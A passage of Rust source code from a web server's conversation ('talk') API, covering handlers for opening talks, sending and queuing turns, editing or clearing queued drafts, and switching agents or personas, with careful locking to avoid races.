6150/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
6151/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6152/// parses markdown itself - and the process-local `thinking` hint.
6153#[derive(Debug, Serialize)]
6154struct TalkView {
6155    #[serde(flatten)]
6156    talk: Talk,
6157    turn_bodies_md: Vec<Vec<md::Node>>,
6158    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6159    /// this server process.
6160    ///
6161    /// This is deliberately not durable: another server process cannot see
6162    /// it, and a restarted server must not claim an old turn is live. It is a
6163    /// progress hint rather than proof a reply landed; the transcript remains
6164    /// the source of truth for that.
6165    thinking: bool,
6166    /// Context-window usage, derived per request - see
6167    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6168    /// and each mutation) so the phone needs no extra call or polling.
6169    context: talk::ContextUsage,
6170    /// `[talk] operator_name`, when configured; the Chat labels the
6171    /// operator's turns with it.
6172    operator_name: Option<String>,
6173    /// The active persona's display name; `None` for the default voice.
6174    persona_name: Option<String>,
6175}
6176
6177impl TalkView {
6178    /// Reads the talk's repository config itself; a config that cannot be
6179    /// read leaves the window unknown but never fails the conversation.
6180    fn new(talk: Talk, thinking: bool) -> Self {
6181        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6182        Self::with_config(talk, thinking, cfg.as_ref())
6183    }
6184
6185    /// As [`Self::new`], with the config already in hand (the list reads one
6186    /// per repository, not one per conversation).
6187    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6188        let context = talk::context_usage(&talk, cfg);
6189        let turn_bodies_md = talk
6190            .turns
6191            .iter()
6192            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6193            .collect();
6194        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6195        let persona_name = persona::find(specs, &talk.persona)
6196            .filter(|p| !p.is_default())
6197            .map(|p| p.name);
6198        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6199        Self {
6200            turn_bodies_md,
6201            thinking,
6202            context,
6203            operator_name,
6204            persona_name,
6205            talk,
6206        }
6207    }
6208}
6209
6210/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6211/// conversation has filed, so the phone can follow one from inside the
6212/// conversation that asked for it rather than hunting the Queue for a task id
6213/// it may not remember.
6214#[derive(Debug, Serialize)]
6215struct TalkDetailView {
6216    #[serde(flatten)]
6217    view: TalkView,
6218    tasks: Vec<TaskView>,
6219    /// The agents this talk's repository can switch to; empty when its
6220    /// configuration cannot be read, which must not fail the whole detail.
6221    roster: Vec<RosterEntry>,
6222    /// The personas the conversation can pick from. The built-ins are always
6223    /// listed, even when the repository's configuration cannot be read.
6224    personas: Vec<PersonaEntry>,
6225}
6226
6227/// One persona as the talk's persona selector shows it.
6228#[derive(Debug, Serialize)]
6229struct PersonaEntry {
6230    id: String,
6231    name: String,
6232}
6233
6234/// One roster agent as the talk's agent selector shows it.
6235#[derive(Debug, Serialize)]
6236struct RosterEntry {
6237    id: String,
6238    kind: AgentKind,
6239    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6240    runnable: bool,
6241}
6242
6243/// `GET /api/talks`.
6244///
6245/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6246/// own order.
6247async fn talks_list(
6248    State(ui): State<Arc<Ui>>,
6249    Query(q): Query<ListQuery>,
6250) -> ApiResult<Json<Vec<TalkView>>> {
6251    blocking(move || {
6252        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6253        Ok(Json(
6254            ui.talks
6255                .list()
6256                .into_iter()
6257                .filter(|talk| q.contains(&talk.id))
6258                .map(|talk| {
6259                    let thinking = ui.is_thinking(&talk.id);
6260                    let cfg = configs
6261                        .entry(talk.repo.clone())
6262                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6263                    TalkView::with_config(talk, thinking, cfg.as_ref())
6264                })
6265                .collect(),
6266        ))
6267    })
6268    .await
6269}
6270
6271/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6272/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6273/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6274/// end still opens a talk against an older binary.
6275#[derive(Debug, Default, Deserialize)]
6276#[serde(default)]
6277struct NewTalk {
6278    agent: Option<String>,
6279    repo: Option<PathBuf>,
6280}
6281
6282/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6283/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6284async fn talk_post(
6285    State(ui): State<Arc<Ui>>,
6286    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6287) -> ApiResult<impl IntoResponse> {
6288    // An absent body, or an empty one, is the normal way to open a talk - see
6289    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6290    // rather than refused.
6291    let body = match body {
6292        Ok(Json(body)) => body,
6293        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6294        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6295    };
6296    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6297    let cfg = config_for(&repo).await?;
6298    let view = blocking(move || {
6299        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6300        let thinking = ui.is_thinking(&talk.id);
6301        Ok(TalkView::new(talk, thinking))
6302    })
6303    .await?;
6304    Ok((StatusCode::CREATED, Json(view)))
6305}
6306
6307/// `GET /api/talks/{id}`.
6308async fn talk_detail(
6309    State(ui): State<Arc<Ui>>,
6310    Path(id): Path<String>,
6311) -> ApiResult<Json<TalkDetailView>> {
6312    blocking(move || {
6313        let id = resolve_talk(&ui.talks, &id)?;
6314        let talk = ui.talks.get(&id)?;
6315        let thinking = ui.is_thinking(&talk.id);
6316        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6317            .into_iter()
6318            .map(TaskView::from)
6319            .collect();
6320        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6321        let roster = cfg
6322            .as_ref()
6323            .map(|cfg| {
6324                cfg.agents
6325                    .iter()
6326                    .map(|a| RosterEntry {
6327                        id: a.id.clone(),
6328                        kind: a.kind,
6329                        runnable: agent::installed(a),
6330                    })
6331                    .collect()
6332            })
6333            .unwrap_or_default();
6334        let specs = cfg
6335            .as_ref()
6336            .map(|cfg| cfg.talk.personas.clone())
6337            .unwrap_or_default();
6338        let personas = persona::catalog(&specs)
6339            .into_iter()
6340            .map(|p| PersonaEntry {
6341                id: p.id,
6342                name: p.name,
6343            })
6344            .collect();
6345        Ok(Json(TalkDetailView {
6346            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6347            tasks,
6348            roster,
6349            personas,
6350        }))
6351    })
6352    .await
6353}
6354
6355/// The body of `POST /api/talks/{id}/say`.
6356///
6357/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6358/// returned - never bytes of its own - so a turn with no images just omits
6359/// the field, which is what an older front end still does.
6360#[derive(Debug, Default, Deserialize)]
6361#[serde(default, deny_unknown_fields)]
6362struct NewTalkTurn {
6363    text: String,
6364    attachments: Vec<String>,
6365}
6366
6367#[derive(Debug, Deserialize)]
6368#[serde(deny_unknown_fields)]
6369struct EditTalkPending {
6370    text: String,
6371    expected_text: String,
6372    expected_attachments: Vec<String>,
6373}
6374
6375#[derive(Debug, Deserialize)]
6376#[serde(deny_unknown_fields)]
6377struct ClearTalkPending {
6378    expected_text: String,
6379    expected_attachments: Vec<String>,
6380}
6381
6382/// `POST /api/talks/{id}/say` - one turn of the conversation.
6383///
6384/// Not filesystem work, and therefore not routed through [`blocking`]: this
6385/// route spawns an agent CLI and a turn here can run for the whole of
6386/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6387/// research turn is expected to run commands rather than answer from what it
6388/// already knows. Holding an HTTP connection open that long is not a thing
6389/// to ask a phone to do; the operator's message is recorded and answered for
6390/// immediately, and the reply lands in the background, discovered through
6391/// the change stream's `talks_rev` the same way every other update on this
6392/// surface is.
6393async fn talk_say(
6394    State(ui): State<Arc<Ui>>,
6395    Path(id): Path<String>,
6396    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6397) -> ApiResult<(StatusCode, Json<TalkView>)> {
6398    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6399    if body.text.trim().is_empty() && body.attachments.is_empty() {
6400        return Err(ApiError::bad_request("say something"));
6401    }
6402
6403    let id = {
6404        let ui = Arc::clone(&ui);
6405        let asked = id.clone();
6406        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6407    };
6408    // A closed Talk never accepts a new immediate or queued turn. Check this
6409    // before claiming a slot so its ordinary domain refusal is a 409, not an
6410    // incidental failure from the later record/queue write.
6411    {
6412        let ui = Arc::clone(&ui);
6413        let id = id.clone();
6414        blocking(move || {
6415            let talk = ui.talks.get(&id)?;
6416            if !talk.status.open() {
6417                return Err(ApiError::conflict(format!(
6418                    "talk {} is {} and takes no more turns",
6419                    talk.short(),
6420                    talk.status.as_str()
6421                )));
6422            }
6423            Ok(())
6424        })
6425        .await?;
6426    }
6427
6428    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6429    // actually stores, before anything is written - an unknown id is a 4xx
6430    // that names it rather than a turn (or a queued draft) silently missing
6431    // an image.
6432    let attachments = {
6433        let ui = Arc::clone(&ui);
6434        let id = id.clone();
6435        let ids = body.attachments.clone();
6436        blocking(move || {
6437            ids.into_iter()
6438                .map(|att_id| {
6439                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6440                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6441                    })
6442                })
6443                .collect::<ApiResult<Vec<talk::Attachment>>>()
6444        })
6445        .await?
6446    };
6447
6448    // Pending recovery and a new immediate turn are decided under the same
6449    // claim lock. Without that one critical section, a second `/say` can see
6450    // the first request's claim as "busy" and append itself to the recovered
6451    // draft before the first request rejects it.
6452    let start = {
6453        let ui = Arc::clone(&ui);
6454        let id = id.clone();
6455        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6456    };
6457    let turn_guard = match start {
6458        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6459        TalkTurnStart::Pending => {
6460            return Err(ApiError::conflict(
6461                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6462            ));
6463        }
6464        TalkTurnStart::Foreign => {
6465            return Err(ApiError::conflict(
6466                "a turn is already running in another process; try again when it has finished",
6467            ));
6468        }
6469        TalkTurnStart::Busy => {
6470            // A turn is already running: queue rather than refuse. See
6471            // `Ui::begin_talk_turn` and `talk::queue`.
6472            //
6473            // The queue write and the drain it may owe live inside the task
6474            // `tokio::spawn` hands to the runtime, for the same reason the
6475            // immediate path below puts `record` there: a dropped handler
6476            // future must not be able to land between a durable write and
6477            // the task that answers it. `blocking` runs its closure on
6478            // `spawn_blocking`, which finishes whether or not anyone is left
6479            // to receive its result - so a disconnect at the `.await` below
6480            // would otherwise leave the draft persisted and the reclaimed
6481            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6482            // ever started and the queued text stranded until some later
6483            // `say` happened to pick it up. The caller's 202 travels back
6484            // over a `oneshot`, sent the moment the write lands.
6485            let (tx, rx) = tokio::sync::oneshot::channel();
6486            tokio::spawn({
6487                let ui = Arc::clone(&ui);
6488                let id = id.clone();
6489                let said = body.text.clone();
6490                async move {
6491                    let written = blocking({
6492                        let ui = Arc::clone(&ui);
6493                        let id = id.clone();
6494                        move || {
6495                            let mut talk = ui.talks.get(&id)?;
6496                            // A test-only stop point, right before the write
6497                            // an interleaving test needs to pin - see
6498                            // `BusyQueueGate`. `None` in every real server:
6499                            // the field only exists under `#[cfg(test)]`.
6500                            #[cfg(test)]
6501                            if let Some(gate) = ui
6502                                .busy_queue_gate
6503                                .lock()
6504                                .unwrap_or_else(PoisonError::into_inner)
6505                                .take()
6506                            {
6507                                let _ = gate.reached.send(());
6508                                let _ = gate.release.recv();
6509                            }
6510                            if let Err(error) =
6511                                talk::queue(&mut talk, &ui.talks, &said, attachments)
6512                            {
6513                                if let Ok(fresh) = ui.talks.get(&id) {
6514                                    if !fresh.status.open() {
6515                                        return Err(ApiError::conflict(format!(
6516                                            "talk {} is {} and takes no more turns",
6517                                            fresh.short(),
6518                                            fresh.status.as_str()
6519                                        )));
6520                                    }
6521                                }
6522                                return Err(ApiError::from(error));
6523                            }
6524                            // The turn that looked busy a moment ago can have
6525                            // finished, found nothing to drain and given up the
6526                            // slot in the gap between that check and this write
6527                            // landing - see `drain_loop`'s own doc for the other
6528                            // half of why that gap would otherwise be able to
6529                            // open at all. Reclaiming the slot here, rather than
6530                            // trusting that whoever held it is still watching, is
6531                            // what stops the text just queued from being stranded
6532                            // until an unrelated future `say` happens to drain
6533                            // it.
6534                            let claim = match ui.begin_queued_talk_turn(&id)? {
6535                                Some(turn_guard) => {
6536                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6537                                    Some((talk.clone(), cfg, turn_guard))
6538                                }
6539                                None => None,
6540                            };
6541                            let thinking = ui.is_thinking(&id);
6542                            Ok((TalkView::new(talk, thinking), claim))
6543                        }
6544                    })
6545                    .await;
6546                    let (view, reclaimed) = match written {
6547                        Ok(pair) => pair,
6548                        Err(e) => {
6549                            // Nobody is listening if the handler's own future
6550                            // was already dropped - that is fine, nothing was
6551                            // persisted and there is no response left to carry
6552                            // this error to.
6553                            let _ = tx.send(Err(e));
6554                            return;
6555                        }
6556                    };
6557                    // If this fails, the caller is gone; the drain below still
6558                    // runs exactly as it would have for a caller that stayed.
6559                    let _ = tx.send(Ok(view));
6560                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6561                        let talks = ui.talks.clone();
6562                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6563                    }
6564                }
6565            });
6566            let view = rx
6567                .await
6568                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6569            return Ok((StatusCode::ACCEPTED, Json(view)));
6570        }
6571    };
6572
6573    let (talk, cfg) = {
6574        let ui = Arc::clone(&ui);
6575        let id = id.clone();
6576        blocking(move || {
6577            let talk = ui.talks.get(&id)?;
6578            let (cfg, _) = Config::discover(&talk.repo, None)?;
6579            Ok((talk, cfg))
6580        })
6581        .await?
6582    };
6583
6584    let talks = ui.talks.clone();
6585    // `record` runs *inside* the spawned task, rather than in this handler
6586    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6587    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6588    // doc), and that drop can land at any `.await` this function makes,
6589    // including one that has already produced its result but not yet
6590    // resumed. A message could end up recorded on disk with the handler
6591    // future gone before it ever reached the `tokio::spawn` that would have
6592    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6593    // that hands the whole future to the runtime as one unit - once made, no
6594    // later drop of *this* handler's own future (that call's return value is
6595    // never held onto here) can reach back in and stop it, so record and the
6596    // hand-off to `respond` are unconditionally atomic from the client's
6597    // point of view. The immediate response this handler owes the caller
6598    // travels back over a `oneshot`, sent the moment `record` succeeds.
6599    let (tx, rx) = tokio::sync::oneshot::channel();
6600    tokio::spawn({
6601        let ui = Arc::clone(&ui);
6602        let talks = talks.clone();
6603        let id = id.clone();
6604        let said = body.text.clone();
6605        let mut talk = talk.clone();
6606        async move {
6607            let recorded = blocking({
6608                let talks = talks.clone();
6609                move || {
6610                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6611                        if let Ok(fresh) = talks.get(&talk.id) {
6612                            if !fresh.status.open() {
6613                                return Err(ApiError::conflict(format!(
6614                                    "talk {} is {} and takes no more turns",
6615                                    fresh.short(),
6616                                    fresh.status.as_str()
6617                                )));
6618                            }
6619                        }
6620                        return Err(ApiError::from(error));
6621                    }
6622                    // `record` mutates `talk` in place to the freshly persisted
6623                    // state (status, pending, and the just-appended operator
6624                    // turn), so returning it here is equivalent to re-reading it
6625                    // from disk - without the extra round trip a re-read would
6626                    // need.
6627                    Ok((said.trim().to_owned(), talk))
6628                }
6629            })
6630            .await;
6631            let (text, mut talk) = match recorded {
6632                Ok(pair) => pair,
6633                Err(e) => {
6634                    // Nobody is listening if the handler's own future was
6635                    // already dropped - that is fine, there is no response
6636                    // left to carry this error to and nothing was persisted.
6637                    let _ = tx.send(Err(e));
6638                    return;
6639                }
6640            };
6641            let queued = talk.clone();
6642            let thinking = ui.is_thinking(&id);
6643            // If this fails, the caller is gone; the turn still runs below
6644            // exactly as it would have for a caller that stayed connected.
6645            let _ = tx.send(Ok((queued, thinking)));
6646
6647            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6648                // `respond` records the failure in the transcript itself,
6649                // which is what the phone reads; this line is for the
6650                // operator's terminal.
6651                tracing::warn!("talk {id} turn failed: {e:#}");
6652            }
6653            // Anything `talk::queue` added while the turn above was running
6654            // is still owed an answer - see `drain_loop`.
6655            drain_loop(talk, talks, cfg, id, turn_guard).await;
6656        }
6657    });
6658
6659    let (queued, thinking) = rx
6660        .await
6661        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6662
6663    // 202: the operator's message is recorded and a turn is running.
6664    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6665}
6666
6667/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6668/// changing it. The turn guard is the same per-talk ownership `talk_say`
6669/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6670async fn talk_pending_resume(
6671    State(ui): State<Arc<Ui>>,
6672    Path(id): Path<String>,
6673) -> ApiResult<(StatusCode, Json<TalkView>)> {
6674    let id = {
6675        let ui = Arc::clone(&ui);
6676        let asked = id.clone();
6677        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6678    };
6679    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6680        return Err(ApiError::conflict(
6681            "a talk turn is already running; the queued draft will be handled by it",
6682        ));
6683    };
6684    let (talk, cfg) = {
6685        let ui = Arc::clone(&ui);
6686        let id = id.clone();
6687        blocking(move || {
6688            let talk = ui.talks.get(&id)?;
6689            if !talk.status.open() {
6690                return Err(ApiError::conflict(format!(
6691                    "talk {} is {} and takes no more turns",
6692                    talk.short(),
6693                    talk.status.as_str()
6694                )));
6695            }
6696            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6697                return Err(ApiError::conflict("there is no queued draft to resume"));
6698            }
6699            let (cfg, _) = Config::discover(&talk.repo, None)?;
6700            Ok((talk, cfg))
6701        })
6702        .await?
6703    };
6704    let view = TalkView::new(talk.clone(), true);
6705    let talks = ui.talks.clone();
6706    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6707    Ok((StatusCode::ACCEPTED, Json(view)))
6708}
6709
6710/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6711/// releasing `turn` only once a check finds it truly empty. Shared by both
6712/// callers that can end up owning a talk's turn slot with something already
6713/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
6714/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6715/// holder just gave up - see the comment at that call site.
6716///
6717/// The release is folded into the final generation check under `turn`'s own
6718/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6719/// free". Before its blocking `talk::drain`, this loop observes the queued
6720/// generation. A `say` that sees the turn busy writes its draft, then advances
6721/// that generation. Thus, if it lands while the drain is in flight, the final
6722/// check observes the advance and drains again; otherwise it releases the
6723/// claim while holding the same lock. This keeps the release/arrival handoff
6724/// atomic without holding the global claim mutex across filesystem I/O.
6725async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6726    let live_set = Arc::clone(&turn.turns);
6727    // `Option` rather than binding `turn` directly to a `_turn` that lives
6728    // for the whole function: releasing it has to happen by calling
6729    // `TalkTurnGuard::release` from inside the locked branch below, which
6730    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6731    // remove the id - correctly, if this loop is ever left some other way -
6732    // but doing it there misses the lock this loop is already holding, which
6733    // is the exact gap `release` exists to close.
6734    let mut turn = Some(turn);
6735    loop {
6736        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6737            // The lease was taken over while a turn ran. Whatever is queued
6738            // stays a draft; running it here would race the new owner.
6739            tracing::warn!("talk {id} lost its turn lease; not draining further");
6740            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6741            if let Some(turn) = turn.take() {
6742                turn.release(&mut live);
6743            }
6744            break;
6745        }
6746        {
6747            // A parking upgrade starts no further turn: whatever is queued
6748            // stays a durable draft for the successor.
6749            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6750            if live.parking {
6751                if let Some(turn) = turn.take() {
6752                    turn.release(&mut live);
6753                }
6754                break;
6755            }
6756        }
6757        // `talk::drain` takes the store lock and can write/rename the talk
6758        // file. Keep the turn mutex out of that synchronous work: it protects
6759        // every talk's in-memory claim, not this talk's disk operation.
6760        let observed = live_set
6761            .lock()
6762            .unwrap_or_else(PoisonError::into_inner)
6763            .queued
6764            .get(&id)
6765            .copied()
6766            .unwrap_or(0);
6767        let drained = blocking({
6768            let talks = talks.clone();
6769            let live_set = Arc::clone(&live_set);
6770            move || {
6771                // Promoting a draft is what starts a turn, so it is decided
6772                // under the same lock a parking upgrade takes: either the
6773                // promotion lands first (and its turn is waited for) or the
6774                // draft stays queued.
6775                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6776                let result = if live.parking {
6777                    Ok(None)
6778                } else {
6779                    talk::drain(&mut talk, &talks)
6780                };
6781                drop(live);
6782                Ok((talk, result))
6783            }
6784        })
6785        .await;
6786        let (next_talk, result) = match drained {
6787            Ok(drained) => drained,
6788            Err(e) => {
6789                tracing::warn!(
6790                    status = %e.status,
6791                    message = %e.message,
6792                    "talk {id} could not start queued-text drain"
6793                );
6794                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6795                turn.take()
6796                    .expect("held for the whole loop until released here")
6797                    .release(&mut live);
6798                break;
6799            }
6800        };
6801        talk = next_talk;
6802        let drained = match result {
6803            Ok(Some(drained)) => drained,
6804            Ok(None) => {
6805                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6806                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6807                    continue;
6808                }
6809                turn.take()
6810                    .expect("held for the whole loop until released here")
6811                    .release(&mut live);
6812                break;
6813            }
6814            Err(e) => {
6815                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6816                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6817                turn.take()
6818                    .expect("held for the whole loop until released here")
6819                    .release(&mut live);
6820                break;
6821            }
6822        };
6823        let responded = match turn.as_ref() {
6824            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6825            None => Err(anyhow::anyhow!("the turn guard was released")),
6826        };
6827        if let Err(e) = responded {
6828            tracing::warn!("talk {id} turn failed: {e:#}");
6829        }
6830    }
6831}
6832
6833/// Clear a queued draft only if it remains exactly the one the caller saw.
6834async fn talk_pending_clear(
6835    State(ui): State<Arc<Ui>>,
6836    Path(id): Path<String>,
6837    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6838) -> ApiResult<Json<TalkView>> {
6839    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6840    blocking(move || {
6841        let id = resolve_talk(&ui.talks, &id)?;
6842        let mut talk = ui.talks.get(&id)?;
6843        if !talk.status.open() {
6844            return Err(ApiError::conflict(format!(
6845                "talk {} is {} and takes no more turns",
6846                talk.short(),
6847                talk.status.as_str()
6848            )));
6849        }
6850        if !talk::clear_pending_if_matches(
6851            &mut talk,
6852            &ui.talks,
6853            &body.expected_text,
6854            &body.expected_attachments,
6855        )? {
6856            return Err(ApiError::conflict(
6857                "queued message changed; reload it before clearing",
6858            ));
6859        }
6860        let thinking = ui.is_thinking(&talk.id);
6861        Ok(Json(TalkView::new(talk, thinking)))
6862    })
6863    .await
6864}
6865
6866/// Atomically edit a queued draft's text while preserving its attachments.
6867/// The snapshot fields make a concurrent queue or drain a conflict rather
6868/// than silently discarding either message.
6869async fn talk_pending_edit(
6870    State(ui): State<Arc<Ui>>,
6871    Path(id): Path<String>,
6872    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6873) -> ApiResult<Json<TalkView>> {
6874    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6875    let (view, reclaimed) = blocking({
6876        let ui = Arc::clone(&ui);
6877        move || {
6878            let id = resolve_talk(&ui.talks, &id)?;
6879            let mut talk = ui.talks.get(&id)?;
6880            if !talk.status.open() {
6881                return Err(ApiError::conflict(format!(
6882                    "talk {} is {} and takes no more turns",
6883                    talk.short(),
6884                    talk.status.as_str()
6885                )));
6886            }
6887            if !talk::edit_pending_text(
6888                &mut talk,
6889                &ui.talks,
6890                &body.text,
6891                &body.expected_text,
6892                &body.expected_attachments,
6893            )? {
6894                return Err(ApiError::conflict(
6895                    "queued message changed; reload it before editing",
6896                ));
6897            }
6898            let claim = match ui.begin_queued_talk_turn(&id)? {
6899                Some(turn_guard) => {
6900                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6901                    Some((talk.clone(), cfg, id.clone(), turn_guard))
6902                }
6903                None => None,
6904            };
6905            let thinking = ui.is_thinking(&id);
6906            Ok((TalkView::new(talk, thinking), claim))
6907        }
6908    })
6909    .await?;
6910    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6911        let talks = ui.talks.clone();
6912        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6913    }
6914    Ok(Json(view))
6915}
6916
6917/// The body of `POST /api/talks/{id}/agent`.
6918#[derive(Debug, Deserialize)]
6919struct TalkAgent {
6920    agent: String,
6921}
6922
6923/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
6924/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
6925/// start a turn on the old session between the check and the write; one that
6926/// arrives in that window finds the talk busy and becomes a draft.
6927async fn talk_agent(
6928    State(ui): State<Arc<Ui>>,
6929    Path(id): Path<String>,
6930    Json(body): Json<TalkAgent>,
6931) -> ApiResult<Json<TalkView>> {
6932    let id = {
6933        let ui = Arc::clone(&ui);
6934        blocking(move || resolve_talk(&ui.talks, &id)).await?
6935    };
6936    let repo = {
6937        let ui = Arc::clone(&ui);
6938        let id = id.clone();
6939        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6940    };
6941    let cfg = config_for(&repo).await?;
6942    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6943        return Err(ApiError::conflict(
6944            "a talk turn is running; change the agent once it has answered",
6945        ));
6946    };
6947    let switched = {
6948        let ui = Arc::clone(&ui);
6949        let id = id.clone();
6950        let cfg = cfg.clone();
6951        blocking(move || {
6952            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6953                .map_err(ApiError::bad_request_from)?;
6954            let mut talk = ui.talks.get(&id)?;
6955            if !talk.status.open() {
6956                return Err(ApiError::conflict(format!(
6957                    "talk {} is {} and takes no more turns",
6958                    talk.short(),
6959                    talk.status.as_str()
6960                )));
6961            }
6962            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6963            Ok(talk)
6964        })
6965        .await
6966    };
6967    // A `/say` that landed while this held the claim saw the talk busy and
6968    // left a durable draft, trusting the claim's owner to drain it. So the
6969    // claim goes to `drain_loop` whatever the outcome - it releases at once
6970    // when nothing is queued - rather than being dropped here.
6971    let fresh = {
6972        let ui = Arc::clone(&ui);
6973        let id = id.clone();
6974        blocking(move || Ok(ui.talks.get(&id)?)).await
6975    };
6976    let draining = match fresh {
6977        Ok(talk) => {
6978            let draining = talk.status.open()
6979                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6980            let talks = ui.talks.clone();
6981            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6982            draining
6983        }
6984        Err(_) => false,
6985    };
6986    let talk = switched?;
6987    Ok(Json(TalkView::new(talk, draining)))
6988}
6989
6990/// The body of `POST /api/talks/{id}/persona`.
6991#[derive(Debug, Deserialize)]
6992struct TalkPersona {
6993    persona: String,
6994}
6995
6996/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
6997/// like [`talk_agent`]: the turn guard is held for the change and always handed
6998/// to `drain_loop`, so a draft left meanwhile is not stranded.
6999async fn talk_persona(
7000    State(ui): State<Arc<Ui>>,
7001    Path(id): Path<String>,
7002    Json(body): Json<TalkPersona>,
7003) -> ApiResult<Json<TalkView>> {
7004    let id = {
7005        let ui = Arc::clone(&ui);
7006        blocking(move || resolve_talk(&ui.talks, &id)).await?
7007    };
7008    let repo = {
7009        let ui = Arc::clone(&ui);
7010        let id = id.clone();
7011        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7012    };
7013    let cfg = config_for(&repo).await?;
7014    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7015        return Err(ApiError::conflict(
7016            "a talk turn is running; change the persona once it has answered",
7017        ));
7018    };
7019    let switched = {
7020        let ui = Arc::clone(&ui);
7021        let id = id.clone();
7022        let cfg = cfg.clone();
7023        blocking(move || {
7024            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7025                return Err(ApiError::bad_request(format!(
7026                    "unknown persona `{}`",
7027                    body.persona
7028                )));
7029            };
7030            let mut talk = ui.talks.get(&id)?;
7031            if !talk.status.open() {
7032                return Err(ApiError::conflict(format!(
7033                    "talk {} is {} and takes no more turns",
7034                    talk.short(),
7035                    talk.status.as_str()
7036                )));
7037            }
7038            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7039            Ok(talk)
7040        })
7041        .await
7042    };
7043    // As in `talk_agent`: the claim goes to `drain_loop` whatever happened.
7044    let fresh = {
7045        let ui = Arc::clone(&ui);
